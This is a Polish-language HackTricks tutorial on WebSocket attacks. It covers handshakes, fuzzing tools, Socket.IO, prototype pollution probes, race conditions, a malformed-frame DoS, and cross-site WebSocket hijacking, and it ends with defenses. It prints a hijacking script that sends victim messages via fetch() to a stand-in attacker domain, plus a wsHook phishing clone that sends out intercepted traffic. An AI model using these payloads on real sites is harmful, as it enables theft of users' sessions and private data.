Ataki na WebSockety
Reading time: 14 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Czym są WebSockety
Połączenia WebSocket są nawiązywane poprzez początkowy HTTP handshake i są zaprojektowane jako długotrwałe, umożliwiając dwukierunkową komunikację w dowolnym momencie bez potrzeby systemu transakcyjnego. Dzięki temu WebSockety są szczególnie korzystne dla aplikacji wymagających niskich opóźnień lub komunikacji inicjowanej przez serwer, takich jak strumienie danych finansowych w czasie rzeczywistym.
Nawiązywanie połączeń WebSocket
A detailed explanation on establishing WebSocket connections can be accessed here. In summary, WebSocket connections are usually initiated via client-side JavaScript as shown below:
var ws = new WebSocket("wss://normal-website.com/ws")
Protokół wss
oznacza połączenie WebSocket zabezpieczone przy użyciu TLS, podczas gdy ws
wskazuje na połączenie niezabezpieczone.
Podczas nawiązywania połączenia wykonywany jest handshake między przeglądarką a serwerem przez HTTP. Proces handshake polega na wysłaniu przez przeglądarkę requestu i odpowiedzi serwera, jak pokazano w poniższych przykładach:
Przeglądarka wysyła handshake request:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Odpowiedź handshake serwera:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
Po nawiązaniu połączenie pozostaje otwarte, umożliwiając wymianę wiadomości w obu kierunkach.
Kluczowe punkty negocjacji WebSocket:
- Nagłówki
Connection
iUpgrade
sygnalizują rozpoczęcie negocjacji WebSocket. - Nagłówek
Sec-WebSocket-Version
wskazuje żądaną wersję protokołu WebSocket, zwykle13
. - W nagłówku
Sec-WebSocket-Key
wysyłana jest losowa wartość zakodowana w Base64, zapewniając unikalność każdej negocjacji, co pomaga zapobiegać problemom z proxy buforującymi. Ta wartość nie służy do uwierzytelniania, lecz potwierdza, że odpowiedź nie została wygenerowana przez źle skonfigurowany serwer lub cache. - Nagłówek
Sec-WebSocket-Accept
w odpowiedzi serwera jest hashem wartościSec-WebSocket-Key
, potwierdzając intencję serwera otwarcia połączenia WebSocket.
Te mechanizmy zapewniają, że proces negocjacji jest bezpieczny i niezawodny, co umożliwia efektywną komunikację w czasie rzeczywistym.
Konsola Linux
Możesz użyć websocat
, aby nawiązać surowe połączenie z WebSocket.
websocat --insecure wss://10.10.10.10:8000 -v
Albo utworzyć serwer websocat:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM połączenia websocket
Jeśli stwierdzisz, że klienci są połączeni z HTTP websocket z twojej bieżącej sieci lokalnej możesz spróbować ARP Spoofing Attack aby przeprowadzić atak MitM pomiędzy klientem a serwerem.
Gdy klient będzie próbował połączyć się z tobą, możesz wtedy użyć:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets enumeration
Możesz użyć narzędzia https://github.com/PalindromeLabs/STEWS aby odkryć, fingerprint i wyszukać znane vulnerabilities w websockets automatycznie.
Websocket Debug tools
- Burp Suite obsługuje komunikację websockets z MitM w sposób bardzo podobny do zwykłej komunikacji HTTP.
- The socketsleuth Burp Suite extension pozwoli lepiej zarządzać komunikacją Websocket w Burp poprzez dostęp do history, ustawianie interception rules, używanie reguł match and replace, oraz korzystanie z Intruder i AutoRepeater.
- WSSiP: Skrót od "WebSocket/Socket.io Proxy", to narzędzie napisane w Node.js zapewnia interfejs użytkownika do capture, intercept, send custom messages i przeglądania wszystkich komunikacji WebSocket i Socket.IO między klientem a serwerem.
- wsrepl to interactive websocket REPL zaprojektowane specjalnie dla penetration testing. Zapewnia interfejs do obserwowania incoming websocket messages and sending new ones, z łatwym w użyciu frameworkiem do automating tej komunikacji.
- https://websocketking.com/ to aplikacja webowa do komunikacji z innymi stronami przy użyciu websockets.
- https://hoppscotch.io/realtime/websocket — oprócz innych typów komunikacji/protokółów, udostępnia narzędzie webowe do komunikacji z innymi stronami przy użyciu websockets.
Decrypting Websocket
Websocket Lab
W Burp-Suite-Extender-Montoya-Course masz kod do uruchomienia aplikacji webowej używającej websockets, a w this post znajdziesz wyjaśnienie.
Websocket Fuzzing
Rozszerzenie Burp Backslash Powered Scanner teraz pozwala fuzzować także wiadomości WebSocket. Więcej informacji możesz przeczytać here.
WebSocket Turbo Intruder (Burp extension)
WebSocket Turbo Intruder od PortSwiggera wprowadza skryptowanie w stylu Turbo Intruder w Pythonie oraz high‑rate fuzzing dla WebSockets. Zainstaluj z BApp Store lub ze źródła. Zawiera dwa komponenty:
- Turbo Intruder: high‑volume messaging do pojedynczego WS endpointu przy użyciu custom engines.
- HTTP Middleware: udostępnia lokalny endpoint HTTP, który przekazuje ciała jako WS messages przez utrzymywane połączenie, dzięki czemu każdy skaner oparty na HTTP może testować backendy WS.
Podstawowy wzorzec skryptu do fuzzowania WS endpointu i filtrowania istotnych odpowiedzi:
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Użyj dekoratorów takich jak @MatchRegex(...)
aby zredukować szum, gdy pojedyncza wiadomość wywołuje wiele odpowiedzi.
Bridge WS behind HTTP (HTTP Middleware)
Obuduj trwałe połączenie WS i przekazuj treści HTTP jako wiadomości WS do automatycznego testowania za pomocą skanerów HTTP:
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Następnie wyślij HTTP lokalnie; ciało jest przekazywane jako wiadomość WS:
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
Umożliwia to sterowanie backendami WS przy jednoczesnym filtrowaniu „interesujących” zdarzeń (np. SQLi errors, auth bypass, command injection behavior).
Obsługa Socket.IO (handshake, heartbeats, events)
Socket.IO dodaje własne ramkowanie nad WS. Wykryjesz to przez obowiązkowy parametr zapytania EIO
(np. EIO=4
). Utrzymuj sesję żywą za pomocą Ping (2
) i Pong (3
), rozpocznij rozmowę od "40"
, a następnie emituj zdarzenia takie jak 42["message","hello"]
.
Przykład Intruder:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Wariant adaptera HTTP:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Wykrywanie prototype pollution po stronie serwera przez Socket.IO
Zgodnie z bezpieczną metodą wykrywania PortSwiggera, spróbuj zanieczyścić wewnętrzne mechanizmy Express, wysyłając payload taki jak:
{"__proto__":{"initialPacket":"Polluted"}}
If greetings or behavior change (e.g., echo includes "Polluted"), prawdopodobnie zanieczyściłeś prototypy po stronie serwera. Wpływ zależy od osiągalnych sinków; skoreluj to z gadgetami w sekcji Node.js o prototype pollution. Zobacz:
- Check NodeJS – proto & prototype Pollution for sinks/gadgets and chaining ideas.
WebSocket race conditions with Turbo Intruder
Domyślny silnik grupuje wiadomości na jednym połączeniu (świetna przepustowość, słabe dla race’ów). Użyj silnika THREADED, aby wystartować wiele WS connections i wysyłać payloady równolegle, żeby wywołać race’y w logice (double‑spend, token reuse, state desync). Zacznij od przykładowego skryptu i dostosuj concurrency w config()
.
- Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).
WebSocket DoS: malformed frame “Ping of Death”
Sporządź WS frames, których header deklaruje ogromny payload length, ale nie wysyłaj body. Niektóre WS serwery ufają tej długości i pre‑alokują buffery; ustawienie jej blisko Integer.MAX_VALUE
może spowodować Out‑Of‑Memory i zdalny unauth DoS. Zobacz przykładowy skrypt.
CLI and debugging
- Headless fuzzing:
java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
- Enable the WS Logger to capture and correlate messages using internal IDs.
- Use
inc*
/dec*
helpers onConnection
to tweak message ID handling in complex adapters. - Decorators like
@PingPong
/@Pong
and helpers likeisInteresting()
reduce noise and keep sessions alive.
Operational safety
Fuzzing WS na wysokim natężeniu może otworzyć wiele połączeń i wysyłać tysiące wiadomości na sekundę. Malformed frames i wysokie częstotliwości mogą spowodować realny DoS. Używaj tylko tam, gdzie jest to dozwolone.
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking, jest traktowane jako specyficzny przypadek Cross-Site Request Forgery (CSRF) dotyczący handshake’ów WebSocket. Ta luka pojawia się, gdy handshake’y WebSocket uwierzytelniają wyłącznie za pomocą HTTP cookies bez CSRF tokens lub podobnych środków ochrony.
Atakujący mogą to wykorzystać, hostując złośliwą stronę, która inicjuje cross-site WebSocket connection do podatnej aplikacji. W rezultacie to połączenie jest traktowane jako część sesji ofiary w aplikacji, wykorzystując brak ochrony CSRF w mechanizmie obsługi sesji.
Aby ten atak mógł zadziałać, muszą być spełnione wymagania:
- The websocket authentication must be cookie based
- The cookie must be accessible from the attackers server (this usually means
SameSite=None
) and no Firefox Total Cookie Protection enabled in Firefox and no blocked third-party cookies in Chrome. - The websocket server must not check the origin of the connection (or this must be bypasseable)
Also:
- If the authentication is based on a local connection (to localhost or to a local network) the attack will be possible as no current protection forbids it (check more info here)
Simple Attack
Zauważ, że podczas establishing a websocket connection cookie jest sent do serwera. Server może używać go do relate każdego specific user z jego websocket session based on the sent cookie.
Następnie, jeśli na przykład websocket server sends back the history of the conversation użytkownika kiedy zostanie wysłany msg z "READY", to proste XSS, które ustanowi połączenie (the cookie zostanie sent automatically aby autoryzować użytkownika‑ofiarę) wysyłające "READY" będzie w stanie retrieve historię conversation.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie z inną subdomeną
W tym wpisie na blogu https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ atakujący zdołał wykonać dowolny Javascript w subdomenie domeny, w której odbywała się komunikacja websocket. Ponieważ była to subdomena, cookie było wysyłane, a ponieważ Websocket nie sprawdzał poprawnie Origin, możliwa była komunikacja z nim i ukraść z niego tokeny.
Kradzież danych od użytkownika
Skopiuj aplikację webową, którą chcesz podszyć (np. pliki .html) i w miejscu w skrypcie, gdzie zachodzi komunikacja websocket, dodaj ten kod:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
Pobierz teraz plik wsHook.js
z https://github.com/skepticfx/wshook i zapisz go w folderze z plikami aplikacji webowej.
Udostępniając aplikację webową i skłaniając użytkownika do połączenia się z nią, będziesz w stanie przechwycić wysyłane i odbierane wiadomości przez websocket:
sudo python3 -m http.server 80
Zabezpieczenia CSWSH
Atak CSWSH opiera się na tym, że użytkownik połączy się ze złośliwą stroną, która otworzy websocket connection do strony, z którą użytkownik jest już połączony, i uwierzytelni się w jego imieniu, ponieważ żądanie prześle cookies użytkownika.
Obecnie bardzo łatwo zapobiec temu problemowi:
- Websocket server checking the origin: Serwer websocket powinien zawsze sprawdzać, skąd użytkownik się łączy, aby zapobiec łączeniu się nieoczekiwanych stron.
- Authentication token: Zamiast opierać uwierzytelnianie na cookie, websocket connection może być oparta na tokenie generowanym przez serwer dla użytkownika, nieznanym atakującemu (np. token anti-CSRF).
- SameSite Cookie attribute: Cookies z wartością
SameSite
Lax
lubStrict
nie będą wysyłane ze strony zewnętrznego atakującego do serwera ofiary, więc uwierzytelnianie oparte na cookie nie będzie skuteczne. Zauważ, że Chrome domyślnie przypisuje wartośćLax
do cookies, którym nie określono tego flagi, co czyni to bezpieczniejszym domyślnie. Jednak przez pierwsze 2 minuty po utworzeniu cookie będzie miało wartośćNone
, co czyni je podatnym w tym ograniczonym okresie czasu (oczekuje się też, że środek ten zostanie w pewnym momencie usunięty). - Firefox Total Cookie Protection: Total Cookie Protection działa poprzez izolowanie cookies do strony, na której zostały utworzone. Każda strona ma własną partycję do przechowywania cookies, aby zapobiec łączeniu historii przeglądania użytkownika przez podmioty trzecie. To sprawia, że CSWSH jest bezużyteczny, ponieważ strona atakującego nie będzie miała dostępu do cookies.
- Chrome third-party cookies block: To również może uniemożliwić wysyłanie cookies uwierzytelnionego użytkownika do websocket server nawet przy
SameSite=None
.
Race Conditions
Race Conditions w WebSockets też występują, sprawdź te informacje, aby dowiedzieć się więcej.
Inne podatności
Ponieważ Web Sockets są mechanizmem do wysyłania danych po stronie serwera i klienta, w zależności od tego, jak serwer i klient przetwarzają te informacje, Web Sockets mogą być użyte do wykorzystania wielu innych podatności, takich jak XSS, SQLi czy inne typowe webowe podatności, wykorzystując dane wejściowe użytkownika przesyłane przez websocket.
WebSocket Smuggling
Ta podatność może umożliwić obejście ograniczeń reverse proxies przez sprawienie, że będą one wierzyć, iż nawiązano komunikację websocket (nawet jeśli to nieprawda). To może pozwolić atakującemu na dostęp do ukrytych endpointów. Aby uzyskać więcej informacji sprawdź następującą stronę:
References
- https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
- https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocket Turbo Intruder – BApp Store
- WebSocketTurboIntruder – GitHub
- Turbo Intruder background
- Server-side prototype pollution – safe detection methods
- WS RaceCondition PoC (Java)
- RaceConditionExample.py
- PingOfDeathExample.py
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.